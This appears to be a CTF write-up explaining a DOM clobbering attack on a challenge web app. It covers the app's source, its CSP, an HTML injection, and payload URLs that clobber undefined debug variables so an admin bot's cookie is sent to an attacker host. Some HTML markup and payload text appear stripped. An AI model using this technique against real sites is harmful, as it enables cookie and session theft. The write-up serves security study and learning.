Rating: 5.0
---
layout: post
title: Dom Clobbering to Write Undefined variable or Objects!
subtitle: Dom Clobbering | Host Header
cover-img: /assets/img/wsc.jpg
thumbnail-img: /assets/img/wsc.jpg
share-img: /assets/img/wsc.jpg
tags: [Web]
---
# Don't Only Mash... Clobber!
Chal Description:
```
Submit an image link to our "evaluator" and steal their cookie!
```
Another XSS Chal at First sight, But The Chal Name says `Clobber!`
## Website:
## Functionalities
There are Two Functionalities.
* Submit the url to View any Image in the Internet.(Client Side Rendering)
* Submit a Picture Url To Admin Bot. So, The admin Bot also view the Image with Cookies.
---
## Source Code Review:
>## server.js
```js
const express = require('express')
const bodyParser = require('body-parser');
const puppeteer = require('puppeteer')
const escape = require('escape-html')
const app = express()
const port = 9000
app.use(express.static(__dirname + '/webapp'))
app.use(bodyParser.urlencoded({ extended: false }));
app.get('/personalize', (req, res) => {
const imageUrl = req.query.image
if (typeof imageUrl !== 'string' || !imageUrl) {
res.send("'image' query parameter needs to be a string")
return
}
try {
var newUrl = new URL(imageUrl)
console.log(newUrl)
}
catch (e) {
res.send(escape(e.message))
return
}
const pageContent =
`
<html>
<head>
<script src="/app.js"></script>
</head>
<body id="body">
Here is the image you submitted:
You submitted this url: <span></span>
// The intended solution does not involve bypassing CSP and gaining XSS.
// If you can do so anyway, go for it! :)
res.set("Content-Security-Policy", "default-src 'self'; img-src *; object-src 'none';")
res.setHeader('Content-Type', "text/html")
res.send(pageContent)
})
const visitUrl = async (url, cookieDomain) => {
// Chrome generates this error inside our docker container when starting up.
// However, it seems to run ok anyway.
//
// [0105/011035.292928:ERROR:gpu_init.cc(457)] Passthrough is not supported, GL is disabled, ANGLE is
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
// headless chrome in docker is not a picnic
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
try {
await page.setCookie({
name: 'flag',
value: 'FLAG{PAKE_PLAG}',
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
finally {
browser.close()
}
}
app.post('/visit', async (req, res) => {
const url = req.body.url
console.log('received url: ', url)
let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
res.send(escape(e.message))
return
}
if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')
return
}
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}`)
return
}
try {
console.log('visiting url: ', url)
await visitUrl(url, req.hostname)
res.send('Our evaluator has viewed your image!')
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting your URL: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
})
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
```
---
## CSP:
```js
// The intended solution does not involve bypassing CSP and gaining XSS.
// If you can do so anyway, go for it! :)
res.set("Content-Security-Policy", "default-src 'self'; img-src *; object-src 'none';")
```
* Default-src: 'self'; img-src: *;object-src: none;
* As Far I know, the Above CSP is Only Able to Bypass when there is a JSONP endpoint in this Site.
## GET Route:
* /personalize
```js
app.get('/personalize', (req, res) => {
const imageUrl = req.query.image
if (typeof imageUrl !== 'string' || !imageUrl) {
res.send("'image' query parameter needs to be a string")
return
}
try {
var newUrl = new URL(imageUrl)
console.log(newUrl)
}
catch (e) {
res.send(escape(e.message))
return
}
```
* We can Provide a Image Url with `/personalize?image=http://pic.com/pic.png`
* then, Our Pic Url is Passed into a img tag
```html
const pageContent =
`
<html>
<head>
<script src="/app.js"></script>
</head>
<body id="body">
Here is the image you submitted:
You submitted this url: <span></span>
## POST Route:
* `/visit`
```js
app.post('/visit', async (req, res) => {
const url = req.body.url
console.log('received url: ', url)
let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
res.send(escape(e.message))
return
}
```
* Ex Request:
```js
POST /visit
Host: ...
...
...
Content-Type: application/x-www-form-urlencoded
url=<url>
```
## Conditions:
```js
if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')
return
}
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}`)
return
}
```
* parsedUrl is a Object with key and values like Protocol, Host, Hostname, path...
* Only HTTP and HTTPS Protocols are allowed
* req.hostname is just the Request HOST header value.
* Hostname must equal to the req.hostname
* We cannot Control req.hostname value, Bcoz they Hosted in google Cloud. So, if we Changed the Value, it gives 404
## HTML Injection:
* We Can Perform HTMLi bcoz, Our Input is Not Filtered and Directly passed to the below Mentioned Template.
```html
<html>
<head>
<script src="/app.js"></script>
</head>
<body id="body">
Here is the image you submitted:
You submitted this url: <span></span>
```
## Rabbit Hole:
* Our Goal to Steal the Admin Bot cookie.
* The Above implementation Gives easy XSS.(without CSP)
## XSS
* As I mentioned Above, CSP is Looks Impossible to Bypass.
* After 5 hrs, I Realized, Bypassing CSP is Rabbit Hole.
## DOM Clobbering:
* The Below Code is Client Side JAVASCRIPT code
>### app.js
```js
window.onload = () => {
const imgSrc = document.getElementById('user-image').src
document.getElementById('user-image-info').innerText = imgSrc
if (DEBUG_MODE) {
// In debug mode, send the image url to our debug endpoint for logging purposes.
// We'd normally use fetch() but our CSP won't allow that so use an instead.
document.getElementById('body').insertAdjacentHTML('beforeend', ``)
}
}
```
* This Javascript Loads when we Visit, `/personalize?image=<url>`
## Exploit:
```js
if (DEBUG_MODE) {
// In debug mode, send the image url to our debug endpoint for logging purposes.
// We'd normally use fetch() but our CSP won't allow that so use an instead.
document.getElementById('body').insertAdjacentHTML('beforeend', ``)
}
```
* In the Above Code, `DEBUG_MODE` is Not Defined.
* CSP is Set to defualt-src: 'self'. So, the Javascript files hosted in the server itself only work.
* So, Now we Have HTML injection and a Undedined variable.
* In Order to Exploit this, we need to Overwrite the Undefined Variable `DEBUG_MODE` and Injecting our own value into `DEBUG_MODE`.
* By Using `DEBUG_MODE` as ID, We can create a variable `DEBUG_MODE`.
Payload:
```
https://wsc-2022-web-2-bvel4oasra-uc.a.run.app/personalize?image=https://google.com/">
```
* We successfully Defined `DEBUG_MODE`, which is Before Undefined. Now, the Above error says that, `DEBUG_LOGGING_URL` is Undefined.
* Lets Define that!
Payload:
```
https://wsc-2022-web-2-bvel4oasra-uc.a.run.app/personalize?image=https://google.com/">
```
* Here, Href is Used to set a value for the
`DEBUG_LOGGING_URL`.
* No Errors in Javascript Console!!
* Upon Looking the Network Tab,
* A GET Request to Attacker.com with `?auth=&image=(base64(imageURL))`
```js
if (DEBUG_MODE) {
// In debug mode, send the image url to our debug endpoint for logging purposes.
// We'd normally use fetch() but our CSP won't allow that so use an instead.
document.getElementById('body').insertAdjacentHTML('beforeend', ``)
}
```
* `?auth` contains base64 Encoded cookie. Now, We dont Have any Cookies, So the The `?auth=` is Empty.
* Flag in the Admin bot cookie. In order to Get the Cookie, Send the above Payload to the Bot to get the Flag
>## flag: wsc{d0m_cl0bb3r1ng_15_fun}